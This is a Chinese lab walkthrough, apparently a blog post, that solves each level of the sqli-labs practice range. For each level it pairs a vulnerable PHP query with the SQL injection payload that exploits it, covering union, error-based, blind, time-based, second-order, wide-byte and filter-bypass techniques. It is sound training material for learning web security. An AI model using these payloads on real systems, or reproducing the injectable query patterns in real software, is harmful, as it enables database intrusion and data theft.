sqllabs通关

本文使用的工具有Navicat,phpstrom,小皮面板,至于安装方法这里不再描述可以,哔哩哔哩搜索一下即可
sqllabs下载地址:https://github.com/Audi-1/sqli-labs
安装方法:解压到小皮面板的www的目录下,在sqllabs的sql-connections目录下的db-creds.inc文件,下图划横线位置设置自己的密码即可,
在这里插入图片描述开启小皮面板的apache以及mysql服务,打开相应的界面
在这里插入图片描述点击横线位置即可,
在这里插入图片描述出现该界面,即为设置成功
less-1
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

从代码角度而言,可以很清楚的看出由单引号闭合,直接使用sql注入的一半流程即可,查询字段,判断回显,数据库——表——列,即可 为 ?id=1' and 1=1 --+
less-2
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

相较于less1而言 ,这个查询语句中并没有单引号,所以直接拼接即可为 ?id=1 and 1=1 --+
less3
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

相较于前两个而言id位置需要‘)闭合,为 ?id=1') and 1=1 --+
less4
代码简写

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

相较于之前需要使用")闭合,为?id=1") and 1=1 --+
less5
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

与less1相同,使用单引号进行闭合,当成功为you are in...为 ?id=1’ and 1=1 --+ 所以只能够使用盲注,延时注入等

less6
代码简写

$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
print_r(mysql_error());
}

与less5类似,均没有回显,闭合方式和less4一致,为?id=1" and 1=1 --+

less7
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
print($sql);
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
	{
  	echo 'You are in.... Use outfile......';
  	}
	else 
	{
	echo 'You have an error in your SQL syntax';
	}

没有相关过滤机制,使用?id=1’)) and 1=1 --+ 闭合 注释

less8
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo 'You are in...........';
  	}
	else{}

这个与less5相同,但是不能够使用报错注入,使用?id=1’ and sleep(3) --+
less9
代码简写

$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo 'You are in...........';
  	}
	else{
	echo 'You are in...........';
	}

同less8,使用?id=1' and sleep(3) --+ 进行闭合
less10
代码简写

$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo 'You are in...........';
  	}
	else 
	{
	echo 'You are in...........';
	
	}

同less9,无论查询结果如何都不会现在在页面,使用?id=1" and sleep(3) --+ 进行闭合测试
less11
代码简写

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
print_r($row);

if($row)
{
	echo 'Your Login name:'. $row['username'];
	echo 'Your Password:' .$row['password'];
  }
else{}

使用post接受数据,相较而言,和之前的less1并没有太大的区别,使用username='admin' union select 1,DATABASE() --+ 闭合即可
less12
代码简写

	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
		echo 'Your Login name:'. $row['username'];
		echo 'Your Password:' .$row['password'];

  	}
	else  
	{
		print_r(mysql_error());
	}

参数方面使用")闭合,参数为 uname=admin") union select 1,2 -- &passwd=admin
less13
代码简写

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname."\n");
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);


	// connectivity 
	@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
		echo '<img src="../images/flag.jpg"   />';	
  	}
	else  
	{
		print_r(mysql_error());
		echo '<img src="../images/slap.jpg"   />';	 
	}
}

闭合方法:uname=admin') union select 1,2 --
less14
代码简写


	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
		echo '<img src="../images/flag.jpg" />';	
		
  	}
	else  
	{
		echo '<img src="../images/slap.jpg"  />';	
 }

方法类似,闭合方法为 uname=admin" union select 1,2 --

less15
代码简写

	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
		echo '<img src="../images/flag.jpg"  />';	

  	}
	else  
	{
		echo '<img src="../images/slap.jpg"   />';	

	}

闭合方法为:uname=admin' union select 1,2 -- &passwd=admin

less16
代码简写

	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
		echo '<img src="../images/flag.jpg"  />';	
  	}
	else  
	{
		echo '<img src="../images/slap.jpg"  />';	
	}

闭合方法为:uname=admin") union select 1,2 -- &passwd=admin
less17
代码简写

function check_input($value)
	{

		$value = substr($value,0,15);
		$value = "'" . mysql_real_escape_string($value) . "'";
	}
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{;	
		$row1 = $row['username'];  	
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
		if (mysql_error())
		{
			print_r(mysql_error());
		}
		else
		{
		}
		echo '<img src="../images/flag1.jpg"   />';	
  	}
	else  
	{
		echo '<img src="../images/slap1.jpg"   />';
	}
}

用户名处有check_input进行检测,无法进行检测,passwd位置可以进行报错注入,为:uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2))as a from information_schema.tables group by a) b) -- #

less18
代码简写

function check_input($value)
	{
		$value = substr($value,0,20);

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo 'Your IP ADDRESS is: ' .$IP;
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{

	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	

	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{

			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			echo 'Your User Agent is: ' .$uagent;
			print_r(mysql_error());			;
			echo '<img src="../images/flag.jpg"  />';
			
			}
		else
			{
			print_r(mysql_error());
			echo '<img src="../images/slap.jpg"   />';	
			}

	}

UA处没有进行过滤 ,代码类似于less17
使用 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ' 或者 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '闭合

less19
代码简写

function check_input($value)
	{
		$value = substr($value,0,20);

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

	$uagent = $_SERVER['HTTP_REFERER'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
			mysql_query($insert);	
			echo 'Your Referer is: ' .$uagent;
			print_r(mysql_error());			
			echo '<img src="../images/flag.jpg" />';			
			}
		else
			{	print_r(mysql_error());
			echo '<img src="../images/slap.jpg"  />';	
			}
	}

和less18的区别为$uagent该参数获取的值不同,less18为UA头,less19为referer,但是采用的闭合方式一致,使用 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ' 或者 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '闭合

less20
代码简写

$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

闭合方法:uname=-admin' union select 1,2,database() --+

less21
代码简写

$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

闭合方法:uname=-admin') union select 1,2,database() -- base编码为uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICAtLQ==

less22
代码简写

$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result=mysql_query($sql);

与less21类似,闭合方式不一致,采用双引号进行闭合,闭合方法:uname=-admin" union select 1,2,database() -- base编码为uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgIC0tIA==

less23
代码简写

$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

流程为将插入的内容取消 # 以及--,去掉sql语句的注释符,使其无法闭合,可以通过新增条件进行闭合,为:?id=-1' union select 1,database(),3 and '1'='1

less24
代码简写

login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);

login_create.php
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

pass_change.php
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

主界面由于mysql_real_escape_string的过滤,将单引号,双引号等进行转义,无法进行注入,注册界面以及修改密码界面,由于注册界面以及修改密码见面的闭合方式不一样,可以达到二次注入的目的,创建admin'#用户,sql语句依次为

insert into users ( username, password) values("admin'#", "admin") #这里为双引号
SELECT * FROM users WHERE username='admin' # and password='$password'后面被注释,但还是需要输入
UPDATE users SET PASSWORD='123456' where username='admin' # and password='admin' # 注释符#后面被注释

就实现了修改admin用户密码的功能

less25
代码简写

$id=$_GET['id'];
$id= preg_replace('/or/i',"", $id);	
$id= preg_replace('/AND/i',"", $id);	
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

将输入字符中的or和and替换为空,忽略or和and的大小写,可以使用双写进行绕过,当然了 你要是用联合查询 ?id=-1' union select 1,2,3 --+也是可以的

less25a
代码简写

$id=$_GET['id'];
$id= preg_replace('/or/i',"", $id);	
$id= preg_replace('/AND/i',"", $id);	
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

与less25雷同,sql语句处没有单引号闭合,绕过方法一致,?id=-1 union select 1,2,3 --+

less-26
代码简写

$id=$_GET['id'];
	$id= preg_replace('/or/i',"", $id);			//移除 OR (不分大小写)
	$id= preg_replace('/and/i',"", $id);		//移除 AND (不分大小写)
	$id= preg_replace('/[\/\*]/',"", $id);		//移除 /*
	$id= preg_replace('/[--]/',"", $id);		//移除 --
	$id= preg_replace('/[#]/',"", $id);			//移除#
	$id= preg_replace('/[\s]/',"", $id);		//移除 spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//移除 slash
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

去除空格采用括号代替,1'aandnd(updatexml(1,concat(0x7e,(database()),0x7e),1))aandnd',查询语句变为

SELECT * FROM users WHERE id='1'and(updatexml(1,concat(0x7e,(database()),0x7e),1))and'' LIMIT 0,1  //报错注入

less26a
代码简写

$id=$_GET['id'];
	$id= preg_replace('/or/i',"", $id);			//移除 OR (不分大小写)
	$id= preg_replace('/and/i',"", $id);		//移除 AND (不分大小写)
	$id= preg_replace('/[\/\*]/',"", $id);		//移除 /*
	$id= preg_replace('/[--]/',"", $id);		//移除 --
	$id= preg_replace('/[#]/',"", $id);			//移除#
	$id= preg_replace('/[\s]/',"", $id);		//移除 spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//移除 slash
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

无法使用报错注入,并未输出mysql_error();
类似为 ?id=')%0bunion%0bselect%0b1,database(),3%0b||1=('1,
在这里插入图片描述less27
代码简写

$id=$_GET['id'];
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合方法为:?id='%0auniunionon%0asELECt%0a1,database(),3%0aand'

less27a
代码简写

$id=$_GET['id'];
$id = '"' .$id. '"';
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

闭合方法为:?id="%0auniunionon%0asELECt%0a1,database(),3%0aand%0a"

less28
代码简写

$id=$_GET['id'];
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION和SELECT,简单的说 就是把union,select以及中间的字符替换为空.
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

闭合方法为: ?id=1')%0aunion%0aunion%0aselect%0aselect%0a1,database(),3%0aand%0a('

less28a
代码简写

$id=$_GET['id'];
$id= preg_replace('/union\s+select/i',"", $id);	
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

同上:

?id=')%0aunion%0aunion%0aselect%0aselect%0a1,database(),3%0aand%0a('

less-29

index.php

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

login.php


$id=$_GET['id'];
if($match = preg_match("/^\d+$/", $id);){ //检测是否为整数
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";}

index.php 单引号闭合就可以,关于login.php涉及参数污染,简单的说就是后台处理机制对同名参数的处理方式不当,接受的数据不同
闭合方法为:?id=1&id=-1' union select 1,2,3 --+

less-30
与less-29类似 index.php与index.php一致,login.php同login.php类似,

$id = '"' .$id. '"';

将单引号变成双引号闭合即可

less31
和以上两种基本相同,不同点在于闭合方法

index.php
?id=-1") union select 1,2,3 --+
login.php
?id=1&id=-1") union select 1,2,3 --+

less32
代码简写

$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);  
mysql_query("SET NAMES gbk");

是将//,',"三种符号替换为其他字符,为宽字节注入,本质上还是闭合引号, ?id=0%df' union select 1,database(),3 --+ 由于过滤的原因,单引号会变成//'
sql搜索语句变为

select *from users WHERE id='0 %df\\'  union select 1,database(),3 

less33
与less32一致,只不过换为了addslashes()进行过滤,利用方法也一致

?id=0%df'  union select 1,database(),3 --+

less34
代码简写

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
mysql_query("SET NAMES gbk");
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

与之前两个类似,不同点在于,接受参数方式不同,闭合方式为:uname=0%df' union select 1,database() --+ &passwd=admin
这里有一个问题,直接在name位置输入0%df' union select 1,database() --+实际上并没有用,因为post传输中会把%转换为%25最后带入到sql语句中就会报错

less35
代码简写

$id=addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

该sql语句并无引号需要闭合,使用简单的联合查询即可?id=-1 union select 1,database(),3 --

less36
代码简写


$id=mysql_real_escape_string($_GET['id']); //转义特殊字符
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合方法相同与上面几个: ?id=0 %df’ union select 1,database(),3 --+

less38
代码简写

$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))// 执行查询
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1)) //转移上一次查询返回的结果集
    {
        if($row = mysqli_fetch_row($result))//函数从结果集中取得一行,并作为枚举数组返回
        {
            printf("Your Username is : %s", $row[1]);
            printf("Your Password is : %s", $row[2]);
        }
    }
    if (mysqli_more_results($con1))//检查批量查询中是否还有查询结果
    {
    }
}
else 
    {
	print_r(mysqli_error($con1));
    }

整体为:拼接查询,获取第一行作为结果输出,闭合方式和正常联合查询一致,?id=-1' union select 1,2,3 --+,联合查询属于一行,并没有新的数据结果

less39
与less38类似

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

闭合方式:?id=-1 union select 1,2,3 --+

less40

index.php 
与less39类似
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

闭合方法为:?id=-1') union select 1,2,3 --+
剩余的同less24 为二次注入,值得注意的是在login.php界面,由于不是gbk编码,无法闭合单引号,

less41
同less39

less42
代码简写

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username=mysqli_real_escape_string($con1,$_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

闭合方法为

 login_user=admin&login_password=-admin' union select 1,database(),3 -- +

SQL语句为SELECT * FROM users WHERE username='admin' and password='-admin' union select 1,DATABASE(),3 -- +'

less43
同less42类似
区别为

 $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

闭合方法为:

login_user=admin&login_password=-admin') union select 1,database(),3 -- +

less44
同less42

less45
同less43

less46
代码简写

$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);

这里采用报错注入,sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
当然了 sort=(updatexml(1,concat(0x7e,(select user()),0x7e),0))#也是可以的

less47
与less46类似,

$sql = "SELECT * FROM users ORDER BY '$id'";

sort=' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) -- +
当然了 ?sort=' and (updatexml(1,concat(0x7e,(select user()),0x7e),0)) -- +

less48

由于没有mysql_erorr()函数,这里不能够使用报错注入,由于该注入点位于order by参数中,所以布尔注入无法成功,测试发现,布尔注入会成功在where条件中,在order by参数中不会成功,并且由于是order by参数,每一条数据都会经过延时,注意别设置太长延时,避免页面超时

?sort=1  and if(ascii(substr(database(),1,1))=115,sleep(2),0) -- +

less-49
区别点在于

$sql = "SELECT * FROM users ORDER BY '$id'";

加个单引号闭合即可,?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) -- +

less50
同less46

less51
同less47

less52
同less48

less53
同less49

less54
使用正常的联合查询即可,但是由于次数的限制,需要加上group_concat()函数将查询出来的函数进行拼接

?id=-1' union select 1,database(),3 -- +  //暴数据库名称
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- + //暴表名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='2sej78a0ql' -- +//暴列名
?id=-1' union select 1,database(),secret_DWA7 from challenges.2sej78a0ql -- + //暴数据

less55
区别为:$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1"使用)闭合即可

less56

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

使用')闭合

less57

$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

使用双引号闭合即可,

less58
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);//返回单元顺序相反的数组 
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
print_r(mysql_error());

并无相关数据的输出,但是存在mysql_error(),使用报错注入,

updatexml,
?id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e)  -- +

?id=1' and updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges')),0x7e)  -- +

?id=1' and updatexml(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ebp020nhtr')),0x7e)  -- +

?id=1' and updatexml(0x7e,concat(0x7e,(select secret_2IEK from challenges.ebp020nhtr)),0x7e)  -- +

extractvalue报错
?id=1' and extractvalue(0x7e,concat(0x7e,database()))  -- +

floor报错
?id=-1' union select 0x7e,count(*),concat((select database()),floor(rand(0)*2))as a from information_schema.tables group by a --

剩下两种替换database()即可

less59
同上,区别为$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
无需单引号闭合,

less60
同上,区别为 $id = '("'.$id.'")';使用双引号和小括号")闭合

less61
同上,区别为$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
使用'))进行闭合

less62
代码简写

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
//				print_r(mysql_error());

无法使用报错注入,只能够使用盲注,同less48

?id=1') and ascii(substr((select database()),1,1))>150 -- +
// 或者
?id=1')  and if(ascii(substr(database(),1,1))=115,sleep(2),0) -- +

less63

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

单引号闭合

less64

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

双括号闭合

less65

$id = '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

双引号加括号闭合

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值